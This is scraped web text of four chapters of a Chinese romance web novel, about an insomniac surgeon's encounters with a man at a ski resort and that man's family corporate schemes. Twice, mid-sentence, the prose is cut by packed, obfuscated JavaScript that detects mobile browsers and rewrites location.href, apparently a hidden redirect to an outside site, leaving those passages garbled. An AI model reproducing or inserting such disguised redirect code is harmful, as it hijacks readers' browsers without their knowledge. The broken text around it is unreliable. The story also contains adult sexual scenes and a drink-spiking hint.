《真的不再来一次吗》 1. 第 1 章 滑雪场缆车匀速穿行在白雪尽覆的洛基山脉,远处朝阳驱散雾霭,日照金山。 一缕阳光从窗缝溜进房中,在原木地板上拓下错落光影,被床上的人敏锐察觉。 徐时行起身下床,光着脚走进浴室。挂镜映出他有些憔悴的脸,眼神略带疲态,黑眼圈明显。 入住滑雪场酒店三天,他半数时间泡在雪里。可大量运动对睡眠的帮助微乎其微,他的睡眠质量不仅没变好,甚至因为时差更糟了。 简单洗漱完,他去餐厅勉强啃了半片烤土司,来到滑雪场。这个时间几乎没什么游客,细腻粉雪经过一晚休整蓬松轻盈,状态极佳。 徐时行迎着阳光,调整好护目镜角度,滑出起点。两侧峰岭飞快后掠,耳边疾风猎猎,宽广雪道延绵至密林,冷杉直刺苍穹。 速度和微失重带来的身心舒畅无与伦比。失眠的困扰被暂时抛掷一边,他沉浸在自由疾驰的快感中。 滑完一趟,徐时行返回起点,原本空旷的雪道旁多了个人。 那人没穿滑雪服,也没拿雪板,只静静地站着。一身黑在白雪皑皑中很难忽略。 他身形高挑,比例优越,饶是整形科医生如徐时行,亦被硬控了几秒。阳光仿佛更偏爱他,为他周身晕出暖金色。硬朗的五官线条柔和下来,竟让人有种他正面带笑意看过来的错觉。 所幸有雪镜掩护,徐时行错开眼,再次滑出起点。 对单板的适应度渐入佳境,他加快速度,猛地一跃而起,做了几个豚跳换刃,紧跟着一个利落的板尾内转自由式。 板刃刻雪,激起层层雪浪飞扬。 整套动作行云流水,被雪道边的看客尽收眼底。 “My gosh,秦朗你看到了吗,他好厉害!” Max说着托起长焦镜头,对准雪场上的身影,快门声几乎连成片。 克莱因蓝在一片洁白中慢下来。 徐时行听到这边动静,清楚被拍的是自己,减速调转方向。 Max见状立刻朝他招手,“Hi,我拍了很多你的照片,要看看吗?” 徐时行卸下护目镜,看到黑衣男子旁边不知何时又多了个人,身高稍矮,目测跟自己差不多,标准东方面孔,但国语发音别扭又滑稽。 “谢谢,不用。别再拍了。”徐时行礼貌回绝,脱掉雪板单臂抱在身侧,准备回去。 Max迎上前挡住去路,同时热情向他展示相机屏幕上的成片:“看,真的很帅。”同时开怀地笑了下,毫不客气自夸,“当然,我的技术也有在起作用。” 翻译腔浓重,勉强能沟通。 徐时行垂眸看,确实抓拍得不错,画质高清,构图堪比专业级。 Max热切的眼神不加掩饰:“加好友传给你,就是绿色的……”他忘了怎么说,转而向同伴求助:“秦朗,我们这两天聊天用的app是什么?” 秦朗视线始终落在徐时行身上,面色淡淡,丝毫看不出任何情绪。 长久的沉默令气氛变得有些尴尬。 徐时行甫一抬头,撞上一道灼热目光。 秦朗眼底情绪繁杂,抿了下唇,最终丢出两个字:“微信。” 徐时行当下反应是这人难道认识自己?细细回忆片刻,又实在没什么印象。 “抱歉,我的中文不是很好。”Max说着点开二维码,眼神充满期待,“给你发,好多张有。” 徐时行没有犹豫太久,扯掉厚手套,拿出手机扫码,“谢谢。” Max边传照片边说:“我还发出来很多没有人的,在微信。” 徐时行好心替他纠正措辞和语序:“朋友圈发了景物图,是吗?” Max一叠声:“对对对,哪张你喜欢,都可以发给你。” “我自己下载吧。”徐时行点开他的头像,进入朋友圈,挑了两张全景保存。 指腹惯性上滑,直接到底,滑出张合照。朋友圈果然没几条内容,恰好验证了他说这两天才用微信。 合照正是眼前二人,像随意的手机自拍。 画面不讲究构图和拍摄角度,甚至只有Max看镜头。秦朗侧脸朝向别处,神情淡漠,眉宇间透着冰冷的疏离感,远比此刻看着难相处多了。 文案比照片更吸睛:谁说他不出会所?是给的钱不够多。 会所?钱给的不够多? 徐时行不禁对二人关系有了模糊猜测,难怪合照看起来不情不愿,心底滑过的关联词是白马会所…… 讶然之余有些感慨,这边特殊职业准入门槛还挺高。 “发好了。”Max趁机邀请,“一起滑雪吗?” 徐时行退出界面婉拒:“下次吧,我准备回去休息了。”越过二人时,好奇心趋势,他又看了秦朗一眼。 秦朗像是有所察觉,目光如炬地迎视着他。 徐时行转开脸,加快脚步离开。直到拐出雪场,身上那种被人盯着的不自在感才彻底消失。 他回到房间,先用电脑查收工作信息。上个月新带了名实习医生,即便出来度假,仍每日记挂着,甚至特意将他微信置顶,便于及时沟通。 妥善处理完工作,徐时行看了眼时间,国内晚上九点半,洗个澡正好可以睡回笼觉。 他走进浴室,刚兜头脱下贴身棉T,洗漱台面上的手机嗡嗡震颤,是通微信视频。 徐时行急忙扯来件睡袍披上,胡乱束好腰带,划开手机屏幕接通,“你还好意思打来?” 老友沈砚初临出门前一晚接到项目,放了他鸽子,按时间推算,这会儿应该是拿下了,才有空打视频电话。 后置摄像头怼着地板晃了一阵,终于出现一张略微变形的脸。一个从下巴仰拍的死亡角度,全靠颜值硬撑。 沈砚初做作夸张地“哇哦”了一声,“每天风里来雪里去的,皮肤还能保持水润细嫩。” 徐时行懒得接话,自顾自倒水。 对方并不介意,反倒关心地问:“怎么黑眼圈这么重,这两天还是睡得不好吗?” 徐时行喝了口水,委婉地说:“还行。” “你的还行就是不行。”沈砚初太了解他了,“是不是对运动也免疫了?那助眠香薰音疗白噪音什么呢?都试试。” 徐时行错开眼,默不作声。 沈砚初见他不说话,心急为他支招:“要我说还是身体不够累,滑雪的强度哪比得了床上运动。找个人狠狠做一次,没准倒头就能睡。” 徐时行听不下去,“你还是闭嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988908|161603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。有其他事直说,没事我挂了。” “别挂别挂,我不说了还不行么。”电话那头沈砚初敛了玩笑心思,言归正传,“下个月陵医大校庆,帮我弄张邀请函吧。” 徐时行猜他有医疗相关的项目需要,没多问,爽快答应下来。两人又闲扯了几句,挂掉电话。 他回到浴室冲完澡,叫了客房服务吃过早午餐,仔细拉好窗帘,点燃助眠线香,又从行李箱里翻出眼罩戴上。 一切睡前准备工作就绪。 可他在床上各种睡姿轮着换,毫无睡意。 徐时行烦躁地扯掉眼罩扔到一边,摸来手机一看,过了两小时。 他拿着手机坐起身,在搜索栏输入:助眠方法。页面迅速载入五花八门的相关词条,科学的、玄学的、甚至还有不少搞抽象的。 这个词条他搜过太多次,以至于稍微靠谱点的方法都尝试过。只有大量运动稍微有点效果。除此之外,最有效当属药物治疗,为了防止过度依赖,他尽量不吃。 退出网页时,徐时行耳边闪现沈砚初的那句胡话,鬼使神差输入关键词。 搜索结果竟跟沈砚初说得一致,许多网友留言力证睡眠质量大大提升。 徐时行匆匆扫过,没太放在心上。一来他不觉得会有效,二来就算有效也没践行对象……他突然想到早上滑雪场偶遇的两人。那则朋友圈文案中的‘会所’一词,不合时宜地在脑海中来回晃。 理智及时拉回思绪,将所有不切实际的遐想扼杀在萌芽阶段。 徐时行翻身下床,光脚走到窗边。 窗外天色暗了,路灯映照下的白色世界像个童话王国。 他习惯性举起手机,用快门定格眼前这一刻,分享在朋友圈,分组仅一人可见。 发完这张照片,又补了组几小时前刚收到的。 徐时行表情温柔地打字:【跟你说过很多次的动作,一直没机会教你】 退出界面时扫到一条新状态—— 【又买了他一天】 配图是一张黑白人像,秦朗侧身坐在单人沙发上抽烟,坐姿放松散漫,看起来刚洗完澡,头发半湿,睡袍领口松松垮垮,敞开着…… 淡漠和疏离没了,只剩浮想联翩。到底还是屈服于钞能力了啊…… 徐时行心里的猜测更加确信了几分,在不自觉细看胸肌之前,及时锁了屏幕,把手机塞回口袋。 他在落地窗边驻足良久,看着窗外夜幕彻底吞噬天空,皓月高悬,一楼酒吧的霓虹灯带亮了起来。 平时除了日常工作,他一周四个on call,能喝酒的机会少之又少。于是决定去喝一杯,兴许入睡会容易些。 电梯下降,大堂水晶灯亮如白昼,旋转门缓慢运行,通往酒吧的露天步道和台阶积了一层薄雪,印出过往宾客的纷杂脚印。 徐时行裹紧大衣穿过风雪,推开酒吧厚重的隔音门。 复古旋律夹杂着谈笑声扑面。 视线越过全场卡座,他一眼认出吧台边有抹熟悉的高大身影。如果第二次见能算得上熟悉的话。 脚步下意识顿住,徐时行反应过来自己竟在考虑要不要避开,这很奇怪,也不合常理。 下一秒,他径直走了进去。 2. 第 2 章 徐时行在吧台角落的空位坐下,从他的角度能看清吧台全景,却不易被察觉。 他给自己点了瓶精酿,酒刚送上来便有人上前搭讪。 徐时行抬起头,看到张标志的白人面孔,眼窝深邃鼻梁英挺,正端着威士忌杯问介不介意一起坐。 倘若时间倒退12小时,他大概率会同意,一起喝一杯,不着边际地闲聊,聊不来也能及时起身,体面告辞。 可凡事一旦有了参照标准,会不自觉拿来比较。他比他更符合东方人审美,肩更平直宽阔,比例更优越,举手投足的气场更强……哪怕喝一杯这样的基础社交行为,亦被悄无声息拔高门槛,挺没道理,也挺可笑的。 徐时行无奈一笑,耸耸肩,佯装不会英文,那人只好抱憾离去。视线转回的一瞬,对上另一道目光。秦朗隔着十多米距离,与他四目相对。 空气仿佛冻住,笑意凝在脸上,徐时行率先败下阵来。 他慌乱移开视线,猛灌了一大口酒,缓了缓,余光确定秦朗已经背过身,才敢肆无忌惮地暗中窥探。 秦朗和Max并肩坐着,后者举着手机在向他展示什么,前者时不时上手滑动屏幕,说话时凑得很近。 徐时行拿起酒又喝了口,刚才没觉得,这会儿乳酸菌味明显盖过麦芽香。他微微眯眼,就着壁灯不太明亮的光线查看标签,柏林酸小麦,难怪如此酸,默默将这款酒拉入黑名单。 第二瓶换了熟悉的品牌,口感终于对味。两瓶酒喝完,恰好微醺,徐时行不打算继续,起身准备回房。 临走前最后朝那头看了眼,两人几乎贴在一起。 缺乏睡眠果然容易心浮气躁,一路心情复杂。他用房卡刷开门,特意泡过澡才躺上床。这次比白天情况改善许多,盯着天花板不到一小时就睡着了。 他丝毫不知一窗之隔的楼下,冷杉树旁人影晃动。 秦朗长腿交叠,半倚半靠着树干,纯黑派克外套与暗夜融为一体。猩红在夜色中明灭,吁出烟的瞬间,他抬头看向三楼。 窗帘整晚没拉开过,屋内灯熄了,想必已经睡了。 秦朗不清楚自己是怎么走到这里的,无意识地迈步,不知不觉便到了。一路上不由自主浮现徐时行的脸,记忆中各个阶段的他不断闪现叠加,十二岁,十五岁,十八岁……岁月中他与日俱增的气质、谈吐,甚至性魅力。 他看起来过得不错,一定在做着体面的工作,家庭幸福,而当年那场事故带来的悲痛,也被时间疗愈了吧。 秦朗自嘲地想,过了这么多年仍旧只配站在暗处窥探,挺可悲的。就像阅历浅薄之人,在回忆时只能将乏善可陈的过往翻来覆去讲,其实喜悦和伤痛都不值一提。 如果再晚两年重逢,是否有另一种可能。 分不清是吐出的烟还是呼出的雾气,很快消散在风中。 脸冻得有发麻,该回去了,秦朗捻灭烟,掸落身上的雪。 * 雪簌簌飘下,越来越大,室内壁炉燃得正旺。喘息声盖过柴火噼啪作响,雾气在玻璃窗上织出一层朦胧薄纱。 一切都那么真实,无论声音,还是手掌抵住胸膛传来的肌肤触感。 欲望具象化为一张脸,他终于看清,是秦朗。 顷刻间,画面回转,眼前只剩茫茫一片亮色。他光着身子站在漫天风雪中,万事万物开始崩塌,整个世界从高处坠落。 徐时行猛地惊醒,大汗淋漓地喘气。他做了一夜乱七八糟的梦,浑浑噩噩,脑袋发沉。缓了半响,意识逐渐清明,只觉身上一片黏腻,断断续续地回忆起梦里场景,猛然意识到发生了什么。 他从床上弹跳而起,冲进浴室洗澡。 蓬蓬头水流如注,从头顶浇下,浴室热气氤氲。 脑海中不由自主浮现梦境画面,徐时行抹了把脸,强行驱散。 他自认这么多年清心寡欲,时间大部分用来工作和应付失眠,连自我纾解都极少。为何突然做这种梦? 一定是被沈砚初那些口无遮拦的话影响了。 逃避心理作祟,同时也有些羞于面对,徐时行在房间慢悠悠处理工作。他将实习医生发来的近期病历仔细核查一遍,又翻了翻科室里的专病门诊总结。 临近中午时,打电话让客房服务送餐,吃饱后又把一本飞机上没看完的小说看完,眼瞧着窗外天色渐暗,才换上滑雪服出门。 徐时行认为自己一定是魔怔了,总觉得会在哪个转角遇见某人。怕电梯门打开他站在里面,怕出了旋转门他会迎面走来,又怕拐出走廊他在另一头…… 昨晚那离奇的梦害人不浅。 他怀揣着一颗忐忑的心,形单影只地滑完几趟,反倒觉得索然无味起来,草草结束收了雪板。没走出几步,听见身后有人叫他。 蹩脚的中文,不用看就知道是谁。 徐时行转过身,看着Max朝他滑过来,在他跟前刹住,一把扯下雪镜,“好巧,又见面了,这次可以一起滑了吧?” “不巧,我已经结束了。”徐时行轻点了下头,算是打过招呼,继续往回走。 Max手忙脚乱地脱掉雪板,跟上前,实话实说:“其实我们在雪场滑了一天,一直没等到你。” 徐时行放缓脚步,“你们?” 心里像是平静的湖面被投入一颗小石子,动静不大,却漾出无数细碎涟漪。他没来得及细想,为何会有如此奇怪心境,便被Max说话声打断:“看,那边。” 视线顺着Max的指向平移过去—— 二十米开外,秦朗沐着一身夕阳柔光正向这边走来。 他抱着雪板和相机,穿青灰滑雪服,难怪来回好几次都没注意到。 “你们等我干嘛?”徐时行心猿意马地问,注意力全然在另一边。 秦朗昂首阔步穿过雪道,停在他们身边,把相机递还Max。 Max接过来,献宝似得捧到徐时行眼前,“我帮你拍了几段跳台视频,很好看。是不是,秦朗?” 可相机在他们的注视中半天开不了机。 秦朗一瞬不瞬地盯着徐时行,“是好看的。” “温度太低电池耗电快,你真的看了吗。”Max说。 “你拍得没有不好看的。” 双重否定句式对Max来说严重超纲了,更听不出中式话外音,转而向徐时行提议:“去我房间吧,有备用电池。” 徐时行正要拒绝,又听到秦朗问:“不如去酒吧?” 夕阳沉得只剩一道弧边,起风了,三个人在冰天雪地里商量去哪挺傻的。 徐时行拉高衣领,爽快点头,“喝一杯也行。” 三人朝酒吧方向走,秦朗两大步跨到徐时行另一侧,借身高优势挡住点风口。 徐时行不动声色地用余光打量他,心想这人察言观色细致入微,又有一副好皮囊,从事什么行业不好。 Max回房拿备用电池,跟他们在酒店大厅分开。 晚餐时间,酒吧里人不多,现场演出的乐队也没就位。 他们在窗边找了个四人座。 窗外视野开阔,可以俯瞰整片滑雪场。落日与新月交替,华灯初上,天地间的一切被蓝紫色笼罩,浪漫得像一副分秒变幻的动态油画。 徐时行解锁屏幕,双手框住手机,对着窗外景色不断找角度按下快门。 秦朗脱掉外套,在他放下手机之前垂首看酒单,“喝点什么?” 徐时行本来想说精酿啤酒就好,话到嘴边改了主意,“都行。” 秦朗招来酒保,用英文低声交涉了几句,香槟和冰桶很快送上来。 “砰”—— 软木塞弹出,一小股洁白泡沫顺着瓶身喷涌而下。 秦朗示意侍应生自己来,接过香槟调整坐姿向前挪了挪,“花果香浓郁,酸度低,我猜你会喜欢。” 浅金色液体沿杯口晶莹滑下,细密气泡在长笛杯中呲呲翻滚。 徐时行向后靠进沙发里,拉开合适的社交距离,“你……”他顿了顿,想不起Max名字更找不到合适的称 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一道声音由远及近从后方传来—— “你们聊什么?”Max在徐时行身旁坐下。 徐时行很给面子地说:“聊你,说你摄影技术很专业。” “真的吗。”Max朝他拉近座椅,将手机横在二人中间,挪来冰桶支着,“给你看更厉害的。” 视频剪辑过,画面流畅无可挑剔。 Max见徐时行看得认真,趁机用眼神暗示秦朗可以走了。 可秦朗完全不似平时相处般一点就通,不但没走,反而替他也倒了一杯酒。 视频一遍播放完毕自动进入重播,徐时行按下暂停键,由衷夸赞:“很厉害,拍得好,剪得更好。” Max转回注意力,“如果你喜欢,明天后天我都可以做你的私人摄影师。比起静止的抓拍,跟拍会更生动。” 这句话蕴含太多言外之意,徐时行当然听懂了,熟练而又体面地化解尴尬,“很荣幸。可惜我明后天不打算滑雪,有别的行程安排。” “你明天要走了吗?”Max问。 徐时行点了下头,“雪山看腻了,换换风景。” 话题从旅行开始到趣事见闻,气氛融洽,小半瓶香槟不经喝,没多久便见了底。Max又开了瓶威士忌。 到底是烈酒,徐时行太久没混喝两个品种,几浅杯就有些不在状态,但又抵不住Max频频倒。直到脑袋发沉,实在不能继续,他以还有工作为由,起身告辞。 徐时行前脚刚走,Max丢下一句你自己喝就要追。 几乎是一念之间的选择,秦朗抓住他胳膊。 Max插在口袋里的手被猝不及防拽了出来,掌心攥着个东西。他急切地问:“干什么?” “下周有新币发行。”秦朗太知道怎么拿捏他。 Max果然迟疑了,“你之前说不碰这方面。” 非主流数字币发行大多涉及灰产,秦朗的确不碰,但与获取信息不冲突。他松开手,“不想听算了。” “啪”,一板橙色胶囊被丢在桌面上,Max坐回原位,“当然想听,咨询费按次还是计时?” 秦朗垂眸扫了眼,蹙眉沉声:“你故意灌他?” “怎么突然这么严肃。”Max表情僵住,完全摸不清状况,“拜托,只是解酒药,防止头痛的。”他故作轻松地耸耸肩,“再说都是成年人,出来玩嘛,真发生点什么也很正常。” “你怎么玩我不关心,但他不行。”秦朗一把抄起解酒药,在Max错愕的注视中径直离开。 他迎着冷风走出酒吧。 露天步道上的脚印已被新雪覆盖,又踩出另一条轨迹。 旋转门缓慢转动,电梯上行,客房区的橙黄壁灯给一切蒙上暧昧滤镜。 脚步踩在厚羊毛地毯上静默无声,秦朗穿过狭长回廊,按响门铃。 3. 第 3 章 徐时行洗澡时听到门铃声,以为自己幻听,没在意。过了会儿,门铃再次响起。 他快速冲掉泡沫,披上浴袍,脚步虚浮地去开门。路过玄关,对着镜面墙拢了拢领口,把露出的半截洁白锁骨遮得严严实实。 门打开,徐时行不可置信地楞住,“你怎么来了?” 秦朗松散随意的站姿瞬间挺直,从口袋里拿出个小巧玻璃瓶,递上前,“来送蜂蜜。睡前喝一点,醒来不会头痛。” 他的表情和语气都轻描淡写得有些刻意。其实蜂蜜是特意去餐厅要的,仔细装进空果酱瓶里。 徐时行手搭在门把上,迟迟没有动作。一般情况下他应该接过来,礼貌道谢,然后得体送客。 被酒精侵占的大脑思考起来有些费劲—— 门铃响过两次,第二次距开门至少五分钟。送蜂蜜只需一通电话,酒店前台能代劳,而他却在门外等了这么久…… 徐时行临时改变主意,松手侧开身:“进来坐坐?”他见秦朗眸光颤动了下,觉得自己太唐突了,当即反悔,“算了,那晚安。” 他顺势拿走蜂蜜瓶,正要关门。 秦朗行为快于意识,一把抵住,“有热水吗?”仓促间编出的借口过于拙劣,他艰难地往下圆,“我的意思是……只有这么一瓶,我可能也需要喝一杯……” 徐时行几不可察地弯了弯唇角,把人让进房内,“随便坐。”结果一看吧台,别说热水了,连矿泉水都没。他这才想起,白天挂了免打扰,水喝完没能及时补充。 秦朗从休闲沙发上起身,“我打电话让前台送。” 客房服务送来一壶热水、两瓶矿泉水,还有碟果盘。秦朗拿起一柄银色水果茶,递到徐时行手边,“先吃点水果,维生素C能加快酒精代谢。” 徐时行接过来,半真半假地夸:“你好熟练。” “什么?”秦朗不明所以,走到吧台边,热水兑矿泉水,来回调整了两次,直到温度适宜,才用咖啡杯冲了两杯蜂蜜水。 徐时行叉起一块橙肉送入口中,缓慢地咽下,“平时没少照顾人吧?” 被人照顾倒是不少,秦朗衔着若有似无的笑意,模棱两可地答:“还行。” 这种语境中,还行显然不是最优解,徐时行暗自腹诽,这种程度的殷勤,普通客户花多少钱能买到? “怎么了?”秦朗带着两杯蜂蜜水回来,笑意逐渐扩大。 他笑起来很好看,冷峻被笑容中和,拒人于千里的疏离感没了,甚至有种好相处的错觉。 果然酒精会干扰判断力。 徐时行分不清是笑容还是灯光更晃眼,只觉得心也飘了起来,忽上忽下的,鬼迷心窍想打听:“你一小时能赚多少?” 秦朗丝毫不知自己已从堂堂私募经理人,沦落为特殊职业人员,坦诚地说了一个数字。 徐时行震惊,怎么想的便怎么嘀咕出声了:“好贵。” 秦朗被他可爱到,“你可以免费。” 眼前不自觉浮现昨晚的梦境画面,徐时行忍不住心猿意马起来,缓了半响,头脑昏昏地劝:“青春饭吃不长久。” 虽然秦朗不懂为何话题深入到职业规划,仍认真思考了下。做项目熬夜加班是常事,度假亦被客户纠缠,用健康和时间换酬劳,这么说倒也没错。于是耐心解释:“你说得对,但任何行业不会一成不变,扎实的基本技能和不断学习实践都能延长周期,巩固自身价值不被取代。” 好家伙,竟能冠冕堂皇至此。 徐时行听得头更晕了,喝了口水,发出灵魂一问:“会挑客户吗?” “除了特别难缠的,一般不挑。” 跨服聊天彻底聊劈叉,徐时行也喝完了一杯蜂蜜水,只是觉得醉得更厉害了。 秦朗的那杯从温热放至冰凉,一口未动。 房间里安静下来,气氛变得微妙。 该走了,可谁都没提,沉默是成年人的心照不宣。 秦朗端起手边杯子,仰头饮尽。他喝得急,饱满喉结上下滑动,脖颈上青蓝静脉隐约浮动。 理智在这样的画面下溃不成军,所有感官被酒精无限放大。 徐时行看着他从座椅上站起身,头晕目眩,耳鸣嗡嗡。 一切杂音都听不真切,像悬浮在空中的气泡,戳一下,才啪地在他心口炸开。 是熟悉的失控和心跳。粗重呼吸一下下抚过耳边,意识愈加混沌,快分不清现实还是又进入了梦境。 无数暧昧画面走马灯似地闪过,脑子里出现越来越多蛊惑的声音,就一次……都是成年人,你情我愿的,况且以后也不会再见…… 欲望终将仅存的理智和体面撕得粉碎。徐时行几乎没有思考,只凭本能说:“别走。” 是意料之中,却仍欣喜若狂。秦朗强装镇定:“我想再去加点水。” 徐时行反应过来,注视着他:“你故意的。” “是,我故意的。”秦朗站着没动,其实内心远没有表面看起来那么从容。 徐时行握着空杯子哼笑出声,“你赢了。” 他的话音刚落,吻便跟着落了下来,胸腔被压得有点疼,手一松,水杯应声碎在地板上。 燥热沿着舌喉侵袭全身…… 情潮褪去时夜已深,万籁俱寂,套房里只有窗帘缝透进一点月光的亮度。 朦胧月色中,徐时行翻了个身,侧缩进鹅绒被中。他闭着眼,在意识模糊边缘很轻地说了句:“回你自己房间或者留下都可以,但动作轻点。” 秦朗单臂叠垫在颈下,仰面盯着天花板酝酿了会儿才说:“……你可能对我有点误会。” 久久得不到对应,秦朗撑起身拧开床头灯一看,徐 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‘怎么这么晚给我打电话,睡不着吗?等我一下,我去拿琴,我哥说听这首曲子特别助眠,听完一夜都不带做梦的。’ 秦朗从旧事中抽离,搜肠刮肚地回忆曲调,时断时续哼着,只能勉强拼凑出一小段。谁料仅凭这一小段,徐时行神迹般安静了下来。 他薄薄的眼皮轻阖着,吐息逐渐趋于平缓。 秦朗守着他几乎一夜没睡,在闹钟响起之前小心翼翼穿好衣服。见他丝毫没有醒来的迹象,只得走进起居室,从书桌上找到本便签,快速写好留言撕下,而后动作很轻地返回卧室,把标签贴在床头,这才悄声离去。 一个多小时后,被贴在床头这张便签,才被徐时行打着哈欠扯下来。 卧室里很安静,只有暖气呼呼送风的运转声。 徐时行摸过手机一看,自己竟然一觉睡到了早上,中途没有被梦惊醒! 讶然之余,他看着便签上的一串数字和三个字——“打给我”陷入沉思。 不是说免费吗? 虽然他并不认为昨晚属于这种情况,但真追究起来,的确是自己先起得头。如果一开始就不邀请他进来,就不会有一系列后续发展…… 徐时行想不出其他更妥善的处理方式,如果当作付小费感谢费倒也能接受,毕竟吃了果盘喝了蜂蜜水,甚至难得安睡整晚。 那打多少合适? 脑海中不自觉回放昨晚画面,能呈现出来的只有咖啡杯摔碎之前,其余都要打满马赛克,令人面红耳赤。 输入框里光标闪动,徐时行犹豫了会儿,把已经打出的‘1’删掉,重新输入‘2’。 一百多公里外,“叮咚”一声,秦朗支付宝收到匿名转账2000元。 4. 第 4 章 奔驰越野车疾驰在99号公路上,沿途森林湖泊、海湾峡谷,几乎攘括了卑诗省所有绮丽的风景元素。 但车里人无暇欣赏,一路气压很低。 城市越来越近了。 秦朗停好车,步行至僻静路段,特意在路边抽了半支烟,见四下无异常,才捻灭香烟走向一辆不起眼的黑色福特,拉开副座车门,矮身坐了进去。 驾驶位上的男子三十几岁模样,见他来了递上文件袋,“所有采购合同和实际入库数据都在里面。” “谢了。” 秦朗拿着就要下车,被叫住。 他回转身,听到男子说:“我只帮你这一次,接下来的事不参与。” “即便我信你一分利益未得,他日东窗事发别人也信么?”秦朗瞥男子一眼,冷哼出声:“不会到现在还觉得自己能置身事外吧,小叔?” 论辈分,秦怀耀是秦朗的亲叔叔,实际年龄却只比他大十来岁。他有着跟秦朗一样的尴尬身份——私生子。 但与秦朗明修暗度不同,他连自己名字都能随意舍弃,只因为亲哥秦秉诚随口一句‘耀’这个字不旺我,当即改名为秦怀柔。 如此夹着尾巴终于博得亲哥信任,在弘诚医疗总部任职财务副总,兢兢业业从未有过二心。直到两年前秦秉诚突发脑梗导致偏瘫,秦夫人庄贤黎临危上任。集团内部分崩离析,他更加举步维艰。 “你……”秦怀柔被这两句话戳中命门,憋着一股气,“找我帮忙时我们可是说好的!” “我怎么说?” “不能让庄达贤毁了弘诚。” “伪造采购合同,虚增设备实际入库数据,单次采购涉及的差额就超过七位数。”秦朗手指一下下有节奏地敲着文件袋,话锋一转,语气满是不容置疑的强势,“可是你有没有想过这件事背后的因果——财报连年亏损,董事局人人自危。肃清海市分院漏洞,揪出一个庄达贤,背地里看不见的呢?还有李达贤王达贤,秦家三代人打拼出的老本还够吃几年?” 秦怀柔意识到秦朗远比自己认为的更野心勃勃,警觉地问:“你究竟想干什么?” “别紧张,你只需要知道我们目的一致就够了。”秦朗牵动嘴角,无声地弯了弯。他见秦怀柔默不作声,临下车前态度缓和了些,意味深长地说:“我会亲自跟进这件事,海市我不熟,内地也没人脉,到时需要小叔帮忙的地方还很多。” 秦朗原路返还,回到自己车上。 车窗降下三分之一,他弹出一支烟点燃,抽出文件袋中的合同 ,一页页翻阅,心想这点丑闻远远不够。 思绪被手机震动打断,车载蓝牙自动接入一通来电。 秦朗扫了眼显示屏,把文件塞回去“喂,妈……是,度假刚回来……”他的语气温和轻松,脸上表情却淡漠得有些割裂,“行,恰好给您带了礼物……一会儿见。” 方向盘急转,秦朗调头往相反方向开,他本来不打算回去,也压根没带什么礼物,电话里庄黎茹轻飘飘说好久没见了一起吃顿饭。其实他清楚,不过是时时监管着他敲打他。 途径一家小众设计师店,他停车进去随便挑了条丝巾,让店员包装仔细。 院门红外线设备识别车牌缓缓开闸,汽车驶入园艺环岛。司机老乔从门厅迎出来,秦朗跨下车,将车钥匙递给他,“乔叔,有劳。” 老乔一叠声:“应该的,应该的,少爷您客气了。” 秦家在世界各地置业,久居海外穿洋装说英文,可骨子里还是传统那一套,习惯吃中餐,家中管家司机,园丁帮佣,全是华人面孔。 秦朗顺着光洁鲜亮的草坪穿过花园,快步踏上别墅正门前台阶。 门厅内帮佣张阿姨欠了欠身,上前接过他脱下的外套,训练有素地说:“先生和夫人在餐厅,庄先生来了。” 庄达贤在,秦朗电话里就听说了。他走进餐厅,法式复古长餐桌前已坐了三人。 主位上秦秉诚坐着轮椅,缓缓抬头看到儿子进来,颤抖的嘴唇张了张,只发出一个不成调的单音节。 “爸。”秦朗的目光没有在他脸上停留多久,入座跟餐桌对面的人打招呼:“妈,舅舅。” 庄达贤很轻地嗤笑了声,端起水杯喝水。 庄茹黎牵动嘴角,弯出一个无懈可击的笑容,“小朗回来了。张阿姨,开饭。”她柔顺的黑发高高挽起,露出耳垂上两枚成色极好的澳白珍珠耳钉,常年养尊处优令她看起来比实际年龄年轻许多。 一顿饭吃得及其安静,偶尔有金属餐具磕碰餐碟的声音,秦父手中汤匙没拿稳,训练有素的陈阿姨立即上前缮后。 餐碟碗筷撤下,换上甜品、果盘和伯爵红茶。 庄茹黎优雅地拿起餐巾压了压唇,吩咐陈阿姨:“先生累了,推他回房休息。” 仿佛一切铺垫只是为了这一刻,她捏着金属勺缓缓搅动红茶,“一个月不见人影,到处飞,都干什么了?” 秦朗冷静观察着她的肢体动作和微表情,“也没干什么特别的,陪程宇他们滑了几次雪,这不雪季刚开始,大家兴致高。” 察言观色和伪装,他从懂事起便无师自通,更如影随形伴随他从孩童长成大人。否则,他根本没机会站在这里。 果然,庄茹黎的表情缓和下来。 程家做地产金融,富了不止三代,这类向上攀附的社交庄茹黎从不干涉。 她放下雕花细勺,端起红茶抿了一小口,说:“玩归玩,一个月内撞坏两台车也罢了,几次三番被小报记者拍到带女伴出入酒店算什么事?还被人捅到董事会去,你都这么大了,清楚自己在外面的一言一行会给弘诚集团带来什么影响。” 撞车和女伴都是保护色。如此才能成为庄茹黎眼中成功养废的继承人,毫无威胁的筹码,介于秦家和庄家之外的最后退路。 秦朗顺着她认错,“以后我注意,不会再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“他能有什么异常,最大笔开销是买车,一个月能有20天住在酒店,什么嫩模、小明星的,体力倒是好。”庄达贤说着意味深远地笑了下,见姐姐沉下脸,话锋一转,“姐,你真让他投资什么疗养院啊。” “眼光看远一点,内地开放外资医疗市场,真能搭上程家也不错,他们有大把我们没有的内地资源。倒是你,进集团两年了,别光顾着拉拢人脉,多花点心思在自己本职工作上。” “他也配?”庄贤达冷哼出声,一脸不屑地说,“给口饭吃已经算我们仁慈了,他不会真以为嘴甜点就能继承那25%的股份吧?” 在秦秉诚改遗嘱之前,的确如此。 